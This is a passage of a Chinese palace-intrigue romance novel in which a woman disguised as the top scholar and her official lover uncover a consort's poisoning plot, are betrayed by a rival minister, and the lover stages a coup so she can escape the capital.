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一出,林疏影还没怎么样,倒是谢寅有些火大了。
他的人怎么能让这个贼人来随意亵渎!!!
看来是刚才的教训还不够。
他还想有所动作,刚拿起来烙铁就被林疏影制止了。
“这人如何也不说,倒不如先晾着,等过了今日再说。”
林疏影放下鞭子,在暗处握住了谢寅的手,算是安抚下了这个有些恼火的人。
两人一前一后地出了牢门,谢寅极其不经意地给了长煊一个眼神,示意他看顾好,随后就跟在林疏影身后出了大牢。
林疏影不想回翰林院,干脆就跟着谢寅去了总督的办公的地方,正好用自己的猜测来反驳这个人。
“说说,你怎么觉得曹家不是拔掉废后舌头的人。”
谢寅搬来凳子,直接放在了主位对面,他直接落座在主位上,拄着胳膊歪头听林疏影娓娓道来。
林疏影也不是什么讲究的,她不喜欢被什么东西束缚,院墙不能束缚她,礼教也不能束缚她。
“你还没看清楚吗,有人在背后操了一盘大棋,甚至连皇帝都算计了。”
“那这些和皇后那件事有何关系?”
谢寅又倒了茶水,生怕眼前的人口渴。
林疏影皱眉推拒掉被送到跟前的茶杯,心里腹诽道,‘怎么这人越来越傻了’。
但表面上,她还是一脸严肃,“废后喝的药是谁做的,杜周又是受了谁的指使。还有,曹家人还不了解废后吗,他们难道不知道这人嘴严地什么也问不出来?还有闯入后宫专门为了灭口,代价多少有些大了,若是被发现,那曹家肯定再也讨脱不了了。”
林疏影一口气把自己的猜想说出来。
说罢,她抬眼,想看看对面的人作何反应。
直接迎上了一个满是宠溺的眼神,她都有些无语了。
不是说好的京城纨绔,风流公子吗,现在看着真像是等了八百年的痴情种。
“喂!”
良久那人都没回林疏影,她只好用手在那人眼前挥一挥,祈求能把这个人的心挥手出来,正视当下的问题。
“嗯--我听见了,说得很好,我完全同意。”
本来意图展开一场有史以来第一次与谢寅的争论大战的林疏影偃旗息鼓,眼里顿时没了光亮。
她都有些怀疑,谢寅就是想要把这个“点出古怪的真相”的机会让给自己。
两人的猜想得到了验证,杜周果然引来了曹家人。
如果说,他们对皇后有十分的信任,那么对这个外人,甚至于可能吃里爬外的人是极其不信任的。
长煊待命几日,终于在这天晚上抓住了刺客。
当晚,谢寅林疏影两人动作极快,两人也十分默契得穿着衣服入睡,在长煊派来的人来通信的时候。
两人几乎同一时间在不同的卧房里窜起来,匆匆穿上鞋子,去牢里查看那刺客了。
谢寅自然不是一般人,在他手里的犯人几乎没有不说出实话的。
果然,三两下,那刺客直接全盘托出。
是曹家派来灭口杜周的。
有了人证,物证也有了,足以将汤药与曹家联系起来。
皇帝似乎十分着急,小福子把这消息传给被打搅了美梦的皇帝时,他没一点不耐烦,连笑几声,就命人给谢寅传话:带领禁军包围曹家,择日问斩,一个不留。
谢寅换好甲胄,正要前往围堵曹家,林疏影看着月夜下的背影愣神片刻,终究还是叫住了。
“谢寅,你要平安回来。我们在明,连背后的人是谁都不知道,你可得小心留意着。”
听了这话,谢寅身形一顿,随后直接转身冲林疏影走来,捧着那人的脸颊,落下了浅浅的一个吻。
“不要担心。”
谢寅抚摸着那人的脸颊,终于还是别过眼,不去看林疏影的眼神,再看他真的就不想去了。
他没那么勤奋,大晚上还要处理这些,本就有些倦怠。
林疏影看着谢寅的背影,她抚上自己的心口,想要平复下突突的心神,但却是徒劳。
汤药案件背后的人隐藏在阴影里,总让她心里不踏实。
55. 第 55 章
次日一早,太和殿里乱成一片。
“先是多年前的旧案牵扯了赵家,如今又是曹家,皇后被废,曹家被抄。下一次又是哪一家,你们不着急么?”
说话的是个刚投靠了孙家的小人物,全凭孙尚书的举荐,否则不会这么快就平步青云。
但此时,他有些害怕了。
他就是再傻,也能看出皇帝的意图。
这次皇上是真打算清除朝中障碍了,赵家、曹家没少趁着皇帝没什么权力的时候捞东西,现在都被抄家。
而孙家又能好到哪里去呢。
本以为自己攀上了高枝,没成想是爬得越高,摔地越惨。
秦梦生憋了满脸的愁,转眼看着一边谈笑风生的魏尚书时,有些后悔没抱住这个大腿了。
他也是太着急了。
“梦生啊,别着急,皇上所做之事都是为了大夏不是,天下哪里是几家人就能说了算的。”
一边的魏丰华不合时宜地开口,他意有所指,但话里话外都是在说给秦某人背后的人听的。
话毕,他眼眸深邃地打量着这个年轻人。
“挺热闹啊,想必曹家的事情大家也都有所耳闻。”
李昭朔一步一步地听着周围的说话声音走上台。
他居高临下地看着周围的所有人,有一种莫名的威压从他周身散开来。
底下的人看见高台上那人,纷纷闭上了嘴,顺势低下头。
之前,皇帝年纪小,不足为惧。
可是,短短五年,皇帝就已经成长到如此地步了,若是再过几年,恐怕他们这些在底下搞小动作的一个也逃脱不了。
“曹家一事的缘由,朕已经命人把告示贴到了京城的各个角落,想必各位爱卿是可以看见的,之于那些想为曹家求情的,朕劝你省些力气,从今往后,你们再想掣肘朕,就别怪朕不顾念君臣之间的情分了。”
李昭朔稳稳地坐在龙椅上,他将手轻轻搭在椅子的两边,有些闲散,但是威严已经将整个大殿覆盖了。
那告示上只是含糊地说了皇后意图毁掉大夏根基,用所谓滋补的汤药给所有嫔妃喝下去,但是林疏影及时发现,及时制止了这种行为。
皇后所做之事,不仅关乎朝廷根本,也关乎着人心是否稳定,如果真相被揭露给京城所有人,那他这个忍辱负重五年的皇帝恐怕连自己的位子都保不住。
虽然仅凭告示上的内容就把整个曹家一锅端了,有些严重了,不过这些瑕疵都不打紧,只要他加快些动作,其他士族就一个也别想跑。
至于子嗣,再让小福子和陆德静给他物色一些秀女便好。
而曹家也能起一些作用了。
他就是要借着曹家警醒剩下的士族,就是要让他们知道京城是谁的天下,大夏是谁做主的。
而曾经那些拿捏他的,他自会一个一个讨来。
他李昭朔要用所有欺侮他的人的血肉来铺就大夏中兴的道路。
“皇上英明。”
魏丰华临危不乱他率先跪下,叩首,喊出这句话,随后一群人非常有眼力劲地跟着前面人的动作,规规矩矩地跪下,喊着同样的话。
此时,无论是心不愿口不服的,还是害怕胆小的,还是别有用心的,都藏在整齐的“皇上英明”这句话里。
待曹家的事情告一段落之后,所有人都松了一口气。
兵部尚书孙齐黎终于找到了机会,站出来,“皇上,楚将军已经擒获那姓陈的叛贼,剿灭数十匪寇,如今已经踏上了回京的路了,说不准明日就能赶回来。”
孙齐黎小心观察着皇帝的表情和动作。
他在皇帝刚登基时,可是拿着兵权吓唬过小皇帝,如今,京城士族所剩无几,他也得早做打算。
“好!刚才清楚了朕的心腹大患,楚将军又抓住了叛贼,好啊,真是天佑我大夏啊。”
李昭朔见自己的威势差不多了,也没再逼迫,他面上的云淡风轻掩盖着内里对曹家、对废后的愤恨。
现在他只是在明面上占了上风,但是最重要的兵部还在士族手上,还是需要忌惮几分。
“一说到叛贼陈述,朕就想到了大夏百年不遇的状元郎林疏影,小福子,快宣进来。”
他面上十分和蔼亲切,仿佛他已经三十岁了。
此话一出,也引得底下一个两个得悄声说话了。
谁人不知道这个名动一时的状元郎,听说这次曹家的案件,也是他着手查的。
林疏影一身官服,白皙的脸上没有什么表情,这次只要她再被皇帝赏赐什么,或者是再升一个职位,都会成为那些士族眼里的一根碍眼的刺。
而皇帝也就能光明正大地做好一个掣肘制衡的角色,维护好她一个人和所有士族之间的关系。
她接手汤药一案时,猜测出背后凶手是皇后时,便想过这一种情况,但是她还是没能放下,还是心甘情愿地成为了棋子。
不过,一切只要是为了大夏的百姓,那又能怎么样呢?
大夏不缺她这一个谋士,也不缺她这一个状元郎。
但谢寅只有她这一个。
脑海里的那一抹红衣,引得林疏影的心脏加速跳动,她一步一步越过对她指指点点的官员,一步步地走向早就在朝中等待她的那个人。
之前,她没有把这个人算在未来的计划里,但是现在她不能再忽略这个问题了。
而她现在的处境,谢寅应该也是知晓的。
而后她又越过谢寅,抬头看着高位之上的九五至尊。
算了,既然如此,计较这么多做什么,难道就因为她尴尬的地位就要再次回避少年热烈的爱吗。
他尚且不害怕被自己牵连,而她又在替人着想地做这些不就是自欺欺人吗。
就算是有雨雪冰霜、刀山火海,她也会尽全力将自己与谢家撇清干系。
“林状元真是朕的一大助力啊,如今你又帮朕破了曹家一案,朕竟然被枕边人欺骗了这么多年,若不是你,朕还不知道要被蒙在鼓里多久。”
李昭朔似乎一见到林疏影就格外开心。
底下的群臣抬头看着皇帝,刚才无形的威压全然消失,最后只剩下了咧到耳朵边的嘴。
谢寅皱眉看着高位之上的人,他清楚这个人什么打算。
就算是要把林疏影拉出去对抗整个士族,他也有法子将林疏影拉回来。
但现在这个诡异的笑弄得他心里有些烦,那个笑容真的让人抓狂。
他强忍着一股子怨念,直到看到林疏影的背影才稍微缓解。
“此案可破,除却臣的一份力,自然也少不了齐大人和陆大人的,若没有两位大人的指导,属下也不可能这么快就查出真相,还其他娘娘们一个真相。”
林疏影此话说得滴水不漏,她顾虑到谢家的中立,悄然地把谢大人改成了陆大人。
反正这俩人关系匪浅,皇帝心里也都清楚,而她说出来就是要做给在场的所有官员看的。
既表明了自己的立场,又在明面上将谢家摘了出去,一举两得。
“好,都有赏赐,都有,哈哈哈。”
李昭朔勉强维持着脸上的笑。
林疏影还在他眼皮子底下护着谢寅了,不过没关系,他想要的已经达到了。
随即就看到了底下的孙齐黎上下打量着林疏影。
皇帝十分满意地移开目光。
都为朕的壮举,都为我大夏王朝的中兴铺路吧。
所有人,所有百姓都会感激你们的。
孙齐黎活了这么多年,与陆德静斗了这么多年,怎么听不出皇帝与林疏影之间对话中其他的含义。
他细数孙家所为之事,谨慎地往前找了十年,而后有些心虚地收回自己打量的目光。
此时,外面一声尖锐的声音刺破了当下的宁静。
楚将军在巴郡大捷,带着叛贼陈述班师回朝了!
此等消息一出,林疏影识相地退到陆德静一边,给那些给皇帝献媚的人们让出了空子。
秦梦生抓到了机会,得了孙尚书的示意,赶忙给皇上贺喜,“有楚将军如此猛将,是我大夏的福气啊,有将军镇守北方,我大夏一定能维持数十年和平,皇上也能大施拳脚,重振我大夏雄风啊。”
“好好好,你就是新上任的大理寺少卿秦少卿?朕记住你了,其他爱卿的心思朕也都心领了,还是快快给楚将军让开些,好让朕仔细看看他。”
皇帝一句话直接浇灭了其他想要效仿秦梦生的人。
哪怕是能说出花来的嘴也不中用了,谁让你没抢到这个机会。
而被
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皇帝点名的秦梦生少年得意,他稳稳地行礼,然后退到一边,十分志得意满。
这算是露了一次脸。
没人不想成为下一个林疏影。
哪怕是被皇帝握在手里的一颗棋子。
朝臣们就算再不满,也不敢随意怠慢了皇上,今非昔比了,他们站回自己的位置,让出来中间好一条宽敞的路。
楚将军就迈着八面生风的大步,走着文臣武将们为他让出来的路。
而他身后还跟着一个人。
其他人或许会怀疑,楚将军会把什么人带回京,甚至带入朝堂。
但林疏影可是熟悉得很。
这就是她费尽心思都几乎应对不了的沧隅山匪寇,陈述。
如今再见,时过境迁,今时不同往日。
林疏影踩着剿匪的名声一路升到了翰林侍读的位置,而陈述却成为了阶下囚。
严格来说,是仰慕皇帝威仪,知晓皇帝的清廉勤政,特地来拜访感恩皇帝为他陈家洗刷冤屈的。
“臣拜见皇上,皇上万岁万岁万万岁。”
楚将军虽是武将,但是也深谙这些礼节,他本就镇守北方,若有半点怠慢皇帝,他的兵权随时会被士族分走,甚至完全抢走。
那时候,北方突厥蠢蠢欲动,也就白白搭了公主了。
陈述乡野匹夫一个,只能跟在楚临风身后有样学样。
“快快请起,刚才还提到你,楚爱卿,你可是我大夏的一大功臣,为朕解决了巴郡匪寇,又要帮大夏镇守北方,说到底,还是委屈你这些年了。”
皇帝注意到了楚临风身后的人,他扫了两眼之后,小福子又在他耳边嘀咕一番,他心里便有了底。
移开目光,伸手就请楚将军起来。
这个人自先皇在时,就对大夏忠心耿耿,若是没有楚将军,他大夏或许就撑不到现在了。
他虽然多疑,但是还是分得清忠奸。
“承蒙皇上抬爱,臣不敢当,花费了这么长时间才将匪患清楚,臣倒是有些愧对皇上的信任。”
楚临风起身,他将身后的人叫过来。
“楚爱卿总爱推脱,这是给朕带回来一个贤才?”
皇帝装着样子打量陈述。
左看右看,也不过是个乡野匹夫而已。
“今生能见着皇帝,是我三生修来的福分,我被楚将军擒获,可是心服口服,如今也已被您的清廉勤政折服,加上您为我陈家翻了案,实在感激不尽,因此想在京城几日。”
陈述上前,诚恳地说出来。
“皇上,顾念到此人是陈家幸存之人,因而属下没有当即斩杀,带回来全凭您定夺。”
楚临风看皇帝欲言又止,站出来先把自己摘出来。
他可不想被因为这个人而把他搭进去。
在遥远的北方,还有许多人需要他。
“既然如此,是朕对不住你们陈家,让你受苦了,既然你想在京城休整两日,朕也十分高兴,回头让小福子给你安排一个上等的宅院,供你住,也算是全了朕补偿你们陈家的心愿了。
李昭朔脸上笑意不减,十分和蔼。
既然这个人不想走,只要在京城,他就不会让这个人再弄出花来。
只要他有任何不臣的心思,他自然不会心慈手软。
“皇上仁慈。”
陈述忙出来谢恩。
他怎会不知道这京城的险恶和皇帝的嘴脸,但是险象环生,既然巴郡容不下他了,那就选在距离皇帝最近的地方。
只要他还在,那他就不会放弃自己的宏愿。
此时,所有的事情都解决了,朝臣们都松了一口气,伴随着下朝的声音响起,他们纷纷往殿外走。
有人走的很急,着急喝一口新鲜空气。
但秦梦生还十分留恋,他已经开始幻想自己以后被皇上重用的风光无限了。
林疏影在人群中还是找到了谢寅,“你怎么看陈述?”
“八成居心不轨,一个老狐狸而已,现在没了兵,没了将,不足为惧,你以为皇帝会掉以轻心还是放过他?”
谢寅在皇帝身边的日子长,他能将那高位上的另一只狐狸猜出八九分。
皇帝看似仁和,实则是监视、是软禁,待到风头一过,说不准还会起了杀心。
56. 第 56 章
谢寅当即就派了亲卫暗中监视魏丰华,关于他的身世,也是废了好大一番力气。
甚至派人去魏丰华的家乡核实身份。
待吩咐好一切,谢寅带着林疏影去了不知名的小客栈。
“吆,我的小徒弟来了。”
老头子喜笑颜开,上前好好打量了一番。
林疏影听说过不少眼前之人的故事,如今终于面对面见到了自己的榜样,也很开心。
“师父。”
“唉。”
陆德静笑得眼睛眯成一条线。
“老头子,你无视我?”
谢寅被师父整笑了,有了新人忘旧人。
“来,坐吧,我终于找到一个能继承我衣钵的徒弟咯。”
陆德静引着林疏影坐下。
“说吧,又有什么事了。”
“魏丰华...陈述...”
谢寅如实把那天的事情说出来,扭头看着一边认真听着的林疏影。
师父教导他诗书,他感激不尽。
但是疏影的身份...
他想过很多遍,到底要不要告诉师父,如今又是一遍。
算了,这世间对女子的束缚很多,对女子的包容也很小。
而且,既然疏影不想透露自己的真实身份,他也会充分尊重的。
“魏丰华的身份还得等一段时间才有定论吧。”
陆德静皱眉,白色的眉毛拧在一块。
“我会和谢大人商量如何应对,这段时间,保护好你这个小师弟。”
“不用师父你提醒。”
谢寅有些不耐烦。
这个小老头宝贝徒弟跟宝贝自己儿子似的。
“疏影,这段时间,就在翰林院,一切都交给谢寅去查,他在京城的时间长,暗卫也有不少,你大可以放心,也别让魏丰华拿捏住把柄,可知道了?”
“嗯,多谢师父提醒,疏影必不会逞强。”
沈清摸着雪白的玉佩。
想起来,她和谢寅之间最初的交集还是陆大人在中间‘撮合’的。
能在京城遇见真心对自己好的人,她心里很暖。
“对了,陈述此次来京,必定另有所图,你也找人盯着,有一点风吹草动,先护住皇上,可知晓。”
“自然是以皇上为主。”
简单交代了那日的事情后,两人告辞。
刚回了谢寅在京城的别院后,没等两人喘口气,魏丰华登谢府拜访。
不一会儿,谢寅就收到了消息,往谢府邸赶。
谢重渡只好出来相迎,“魏兄,今天怎么有空来我这里了?”
“自从踏进朝廷啊,我就一直想和你好好说说话,这不,今天如尝所愿了。”
两人客气一番,并肩往书房走去。
谢重渡吩咐丫鬟上茶。
“不知,魏兄此来所为何事啊?”
“瞧谢大人说的,我还不能是想来看看你吗?”
魏丰华拿起倒满的茶杯,吹了吹热气,抿了一口茶。
“嗯,令子最近与那位新上任的林侍读走得很近,不知大人发现没有。”
谢重渡刚把茶杯递到嘴边,听了这话顿住片刻,垂眼看着波澜的茶水。
“照魏大人这么说,我那逆子终于改性不和那些纨绔混迹了?这可是一件大好的事啊。”
说完,他就再次把茶杯递到嘴边,吹了吹热气,喝了一口。
他与魏丰华不算相熟,朝堂上偶尔意见不合,私下里也较过几番劲。
这次登门拜访,提到了寅儿,难不成是发现了什么,所以来确认的?
天下没有不漏风的墙。
“我看啊,两人走得近倒也不是什么好事。”
魏丰华抬眼,看向谢重渡。
谢寅和林疏影两人先是抄了他安插在庆阳的冯家,而后谢寅又百般为林疏影铺路。
两人都以为藏得很好?
一个装纨绔,一个装男人。
本来,如果这两人不是站在陆德静那一边的,不会干涉到自己的计划,他懒得管。
但往往事与愿违。
既然都想匡扶这衰败的大夏,那就和大夏一起灭亡吧。
此次,他就是要挑拨两人关系,然后分而破之。
“魏大人何出此言?”
谢重渡放下茶杯。
“谢大人可知道皇上最厌恶什么?”
谢重渡在心里默念:‘结党、功高。’
“如今林疏影屡立奇功,但是年纪尚小,难免年轻气盛,被皇上的赏赐迷乱了头脑,到时候做出些傻事来,没准还要连累谢家。”
魏丰华见谢重渡没说话,继续分析。
话音刚落,外面一个丫鬟跑过来,在谢重渡耳边低语两句。
不一会儿,谢寅不顾下人的阻拦,迈着大步子就往书房里闯。
“你看看,这个不争气的,什么礼数都忘了,只知道在青娥花天酒地。”
“怎么会呢,我看这谢总督倒是个意气风发的少年郎。”
魏丰华恭维的话说出来。
这话里又隐约有一些其他的东西。
谢寅不客气地坐在一边的椅子上,“两位大人不去为天下苍生忧心,怎么关心起我这个纨绔了?”
他接到消息就立马赶过来,还在门外听了一会。
正好听到了魏丰华那句挑拨他和林疏影关系的话。
本来他还想再听会儿墙角,终究没忍住,直接破门而入。
他知道父亲只会会谢家考虑,不确定他会做什么选择。
倒不如直接摆明自己的态度。
谢重渡看明白了儿子的态度,“魏大人请回吧,我得好好教训这个不孝子,免得他下次再打扰你我二人的谈话。”
“既然谢大人忙,我就不多叨扰了,告辞。”
魏丰华自然听懂了谢重渡话里的拒绝。
说完,他就冷哼一声,甩袖走了。
既然你们谢家非要与这个巴郡来的女人绑在一起,那就别怪他了。
谢重渡看着谢寅翘着二郎腿就心烦。
“你看看你,也不知道跟人家林侍读学学,一天到晚都是鬼点子。”
“爹,你怎么也这么说我,你喜欢林疏影,去找他当你儿子啊。”
谢寅没理由吃了老爹的火气,自然不可能咽下去,直接呛了回去。
“你...你,你个纨绔!”
谢重渡被气地说不出话来,他用手指着谢寅,酝酿了半天,才把这话说出来。
真是不让他省心。
不过魏大人说的话也不见得是错的。
如今谢寅装作纨绔还能让皇帝放心些,但是他又与那个林疏影交好...
“这段时间
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,你要不还是和林状元保持些距离,我总觉得这个魏丰华没藏什么好心思。”
谢寅刚想跟老爹呛一会,听了这话,完全没了心思。
他回去重新坐好,只是没有再翘二郎腿。
“爹,我刚才跟师父交代完,现在告诉你吧,其实魏大人...”
说完,还倒了一杯茶给谢大人递过去。
“大概就是这样,他这次来就是要离间我们,从而分而破之,父亲,我知道你的为难,我大可以与谢家割清关系,不拖累谢家半分,林疏影他在京城无依无靠,魏丰华盯上他,我不放心。”
“你与魏大人共事这么多年,他的手段你又不是没见过,只要是他想要搞下台的人,哪一个能逃脱的了的。”
谢寅看着父亲没说话,继续做出让步。
“你实话说,你和林疏影到底是什么关系,坊间流言我不是不知道,你也不用骗我。”
谢重渡喝了一口茶,顺了顺气。
他就没见过自己的儿子对任何一个人这么上心过。
之前让他装纨绔,这孩子死活不肯,后来终于肯了,又开始左拥右抱,整天就泡在酒楼里。
难不成就是之前的那段时间被人教了什么不正经的?
也怪他那时候疏忽了...
“我...我心悦他,但...”
谢寅生怕自己再多说一些,就把林疏影的身份说漏了。
他想要和林疏影长长久久,恨不得现在就能把两人之间的所有障碍都清除。
但是父亲有对谢家的考量,他说了,恐怕所有的幻想都会成泡影。
成为一个断袖还是被父亲强行拆散,他还是拎得清的。
“你...你这个逆子!”
“你不就是想听这个吗,我说出来了,你又不开心了。”
谢寅故作无奈,他摆摆手,在被打之前,赶紧跑出去。
“你跑什么,臭小子,你知道你玩的是谁吗,人家可是个好孩子,都让给带坏了。”
谢重渡一把把自己手上的茶盏扔到了门口,气得声音发抖。
别以为他不知道,这个不孝子刚开始还眼巴巴地看着林状元,还请人家去酒楼。
心思不纯,主意都打到状元身上了,真是惯得。
不过,话说回来,有陆德静这么喜欢的小徒弟做自己的干儿子也不错。
如果,寅儿也能出落地那么出众就好了。
谢寅听着后面的话,几分无奈,几分好笑。
要是没有这一切,他和林疏影地相识没有隔着那一层化不开的陈年旧仇的话,现在老爹要高兴死了吧。
那么出众的一个儿媳妇,那么符合他的期望的人。
疏影,你放心,我会把所有威胁你的东西全部清除,不会让你受半点伤。
“主子,查到是谁陷害废后了。”
“说。”
“杜周那里终于松口了,说我们只要能保证他的安全,就会把魏丰华全盘供认。还有,废后在冷宫没两天,就被人拔了舌头,贴身嬷嬷也被毒死了。”
长煊说完,退到一边。
“这么说,人证有了,魏丰华做事谨慎,手段狠厉,谋害子嗣这件大事足能够把他扳倒,现在就差证据了。”
谢寅拍拍身上的浮尘,“交给你了。”
“是。”
长煊领命退下。
57. 第 57 章
得加快进程了。
谢寅整理好官服,就去敲响了林疏影的门。
“阿寅,昨天我想了很久,这段时间我们还是保持距离吧。”
她的身份敏感,而魏丰华若是真有谋权篡位的心思,一旦知晓谢家和她都是陆大人那一边的,还会轻易放过这个能继续扳倒世家、为自己清除阻碍的好机会吗。
况且,赵家的案子是魏丰华一手负责的。
曹家的案件疑点重重,很难不让人猜想。
或许谢寅的手下已经查到了什么。
无论如何,她自己的事情,自己来承担。
谢寅叩门的手停留在半空中,他淡淡一笑,直接推开了门。
“怎么,这么着急就和我划清界限?”
“是嫌弃我了,还是怕我还一直花天酒地?”
他主动地拥住林疏影。
林疏影握着他的胳膊。
这一刻,她久违地想起了被人保护的滋味。
对啊,他们之间的关系早就亲密无间,如果她还是因为怕连累而刻意疏远,那就太见外了。
“可是,你不是一个人,你背后有谢家...”
“谢家那边我早就跟父亲商量好了,你还记得庆阳剿匪吗,那次我让你只身涉险了。”
谢寅把林疏影摆正,两人面对面,距离很近。
感受着彼此的呼吸,林疏影几乎能描摹谢寅面部的任何地方。
“还记得。”
“这次,我会牢牢地把你护在身后,再不让你犯险。”
“相信我。”
谢寅看着熟悉的面庞,落下一个浅浅的笑。
而后主动地向下低头吻去,轻柔地,小心地,生怕折断了这支花。
两人依旧一起去了皇宫。
林疏影看着谢寅远去的背影。
心里有些发慌。
扮男人扮了这么长时间,她也该做选择了。
朝堂之上,谢寅丝毫不避锋芒,直指魏丰华近期所作所为。
两人针锋相对,几乎要见血。
把其他官员吓得不轻,在底下窃窃私语。
“我记得谢总督好像对这些了解不深啊,怎么突然...”
“而且,他们二人几乎没什么交集,怎么现在一见面就跟打炮仗似的。”
“这你就不懂了吧,装啊,哪一个没有面具,看着他们这形势,是要彻底撕下对方的所有面具啊。”
“唉,今年,世家倒了两个,但咱们可是一点儿好处都没捞到,我觉得大夏也越来越不如几年前了。”
魏丰华突然站出来,“皇上,臣有要事禀奏。”
掷地有声的声音响彻整个太和殿。
“哦?爱卿说来听听。”
李昭朔正被两人吵得头疼,这下又不知道魏丰华出什么招数。
谢寅眼皮直跳,他不自觉往大殿外看去,心里的那抹身影挥之不去。
他撇过头,看向势在必得的魏丰华。
脑海里冒出一个念头:他知道了疏影的身世?
不可能,他捂得严严实实。不可能有人越过他查到的。
“臣要告发当今翰林侍读为博得圣心,不惜女扮男装进行科举,欺骗天下人夺得状元,直到现在仍旧贼心不死,勾结突厥意图谋篡天下。”
“魏尚书,凡事都要有个证据吧,您这样随便把欺君叛国的罪名扣到林侍读头上,不太好吧。”
谢寅攥紧了拳头,咬着后槽牙。
倒打一耙,魏丰华这局棋布了很久了。
“只要微臣敢说,就有证据。”
说罢,他从袖子里掏出来一打纸往前递送。
小福子察言观色,见皇帝的脸色一下子黑了,一刻也不敢怠慢,赶紧把证据递送到皇帝面前。
李昭朔眉头紧锁,他翻看着证据。
大多都是书信,也有一些证明林疏影真实身份的画像和陈家旧案牵扯到的所有详情。
魏丰华把这些一桩桩一件件全都罗列好了。
皇帝压抑住火气,不出意外的话。
他花费了大心思培养的状元郎,是个欺君罔上,通敌叛国的罪人。
“拿下去,去让刑部接手、核实,林大人在宫里吧,让他多在宫里待会。”
另一种方式的软禁。
谢寅闭上了眼,随后心不在焉得听完了整个早朝,从太和殿里出来之后,他看着大大得牌匾。
这是他第一次感觉到自己力量得微弱。
他慢慢地解下身上的官服,扔给一边候着的长青。
“该怎么做,你应该知道。”
他还是晚了一步,没想到魏丰华动手这么快。
好像总在他下一步行动开始之前。
是巧合吗?
难道是,他身边有奸细?
他快步跑向翰林院,横冲直撞地冲进去,什么也不顾了。
“林疏影,你在哪!”
他大喊出声,在满是书籍的地方失去了任何礼数。
林疏影被这一嗓子吓着了,下意识跑出来。
看着慌张的谢寅,她有些懵,本能地靠近这个人。
“怎么了?”
谢寅一把揽过林疏影,毫不客气地吻了一嘴,拉起那人的手就跑。
“我带你走。”
林疏影甚至都没反应过来,还是在奔跑途中,慢慢捋顺了思路。
她的身份被发现了。
只有这一种可能。
她看着谢寅的背影,在奔跑中晃来晃去。
这样的宽阔的背影她见过不少次,也见过不少人,但是这是第一次,她觉得这样的胸膛值得依赖。
两人一路狂奔,直到路中间突然出现了一匹马。
“主子,一切都准备好了,下面的也都安排好了。”
谢寅翻身上马,然后拉住林疏影同乘一匹马。
长煊顺势骑上马,递给主子两柄剑。
三人相视,不言而喻。
生死攸关的时刻。
“对不起。”
林疏影吐出这么一句话,随后奔跑着的疾风刮走了所有的话语。
谢寅没回话,他只是淡淡一笑。
终于到了皇城根底下,长青早就等在那里。
谢寅勒住马,怀抱里的人这么真切,真想一辈子都抱着。
他留恋地闻着林疏影身上的味道。
随后利落地翻身下马。
他能做的只能到这里了。
林疏影看着地上的人,皱起眉头。
“你要做什么?”
谢寅直接转过身去,眼底瞬间泛起了红晕,他没多说一句话,摆手示意长煊行动。
长煊把马交给长青,“保护好林小姐
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,她在你在,听见了吗!”
长青红着眼,颤抖着接过了缰绳。
长煊给谢寅系上红色的披风,完全挡住了林疏影的视线。
她到现在才明白,谢寅到底要做什么。
眼泪控制不住地往下流,这么好的一个人。
长青心里难过,但也不含糊。
他知道这次出城的机会是哥哥给他的,也知道兄弟们即将有一场血战。
既然主子把这个苟活的机会给了他,他会保护好林小姐的。
就这样,两匹马冲出城门,红色的披风和黑色的背影浸入人群。
京城
城门紧闭,封锁全城,禁止向外透露一点消息。
谢寅手握禁军,底下的人全权听从谢寅的安排,甚至皇帝的玉玺都没能惯用,照样被摔在地上。
现在楚将军在回北方的路上,本来武将就少,现在仅存的武将已经被惹急眼了。
既然所有的人、这整个朝代都容纳不下一个为官的女子,一个兢兢业业为国为民的好官,那留着这个空壳子大夏还有什么用!
倒不如换个天下,换一个能容纳女子读书、入朝为官、经商买卖的天下。
所有人都被谢寅的这套整不会了,他们可没见过这样的阵仗。
到现在这一步了,谁手上有兵谁说了算。
其实他没想走到这一步的。
谢寅居高临下地看着底下的群臣,扫了几遍,少了一抹熟悉的身影。
魏大人跑哪去了?
谢寅把陈述请到台上。
“吩咐下去,扶持陈述的人留下,其余的你看着办。”
长煊应下。
“你对于魏丰华还知道多少?”
谢寅扭头看向陈述,眼神里有谨慎和防备。
他不知道到底是谁背叛了他。
知道疏影身份的也就那么几个,正好,陈述也算一个。
“不多,都告诉你了,你放心,疏影的身份八成是他自己查的。”
“还有,你把事情做得这么绝,不就更加落实了林大人的罪证吗?”
陈述看着底下乱成一片的大臣们。
往日的风度和礼数早就被踩在地上了,活命最要紧。
“魏丰华出手,不是真的最后也会变成真的,先发制人,出奇制胜。”
不等陈述回答,谢寅道,“这里交给你了,你那些兄弟都还在吧,闹了这么大的动静,算算时间他们也应该得到消息赶过来了,我先把魏丰华这个祸患处理了,还有长煊跟在你身边,我帮你是为了保住谢家,保住林疏影,你最好不要耍花样。”
说完,谢寅甩了一下披风转身走了。
“谢谢,”
陈述看着那个人的背影,十分和蔼地笑着。
这正是他想要的东西。
还真是得多感谢一下这位魏大人呐,本来还要再有一段时间的。
谢寅雷厉风行地带着人马往魏府赶去。
魏丰华家里养着暗卫,这个他是知道的,但其他的就无从得知了。
尤其是今天早上那些指控疏影勾结突厥的罪证。
或许,勾结突厥的另有其人。
现在这个时候,只要快速控制住这个始作俑者,他底下就算是有魏丰华派来的奸细也不用愁了。
毕竟人总是要站对了,才能活下来。
58. 第 58 章
林疏影回头看着慢慢关上的城门,城门紧闭带来的一声闷响也在她心头一震。
城里究竟发生了什么,她或许能猜出几分。
脑子晃的一瞬间,她只有一个念头——回去。
回到谢寅身边去。
母亲曾经是最爱她的人,她没能保护好,现在谢寅处处为她着想,甚至豁出去要谋反,她不能留谢寅一个人。
要死也要死在一起吧。
还不知道魏丰华的底,单凭禁军,单凭陈述那些土匪,怎么可能冲破桎梏。
她使劲扯着缰绳,勒马回首。
却一把被长青拦住,“林小姐,林疏影!你回去能做什么!”
他不能也不会让自己的任务失败的。
城里的情况一无所知,现在回去与送死没什么区别。
更别提北上的楚将军一旦知晓,快马加鞭往回敢,京城才是真的成了死城。
林疏影根本听不进去长青的话。
她已经目睹了最爱自己的母亲的死亡,不能再接受谢寅的任何意外。
如果不是她非要赖在京城不走,如果不是她贪图一时的自由,如果不是她...
谢寅是不是就不会在这么艰难的境地之下。
没等林疏影继续胡思乱想,长青见这人听不进去话,直接一掌劈晕了。
“我也是奉命行事,得罪了。”
长青将人横放在自己马上,一路往约定好的地点骑。
林疏影再醒过来时,昏昏沉沉的脑袋让她有些恍惚。
“这是哪里...”
还没等林疏影完全适应周围的烛光。
“小姐,你还好吗?”
丫鬟秀云的声音响起,一下子让林疏影精神了。
她这是回巴郡了?
林疏影忙坐起身,打量着四周的环境,确认了几遍,不是巴郡的房间。
这才放下心来。
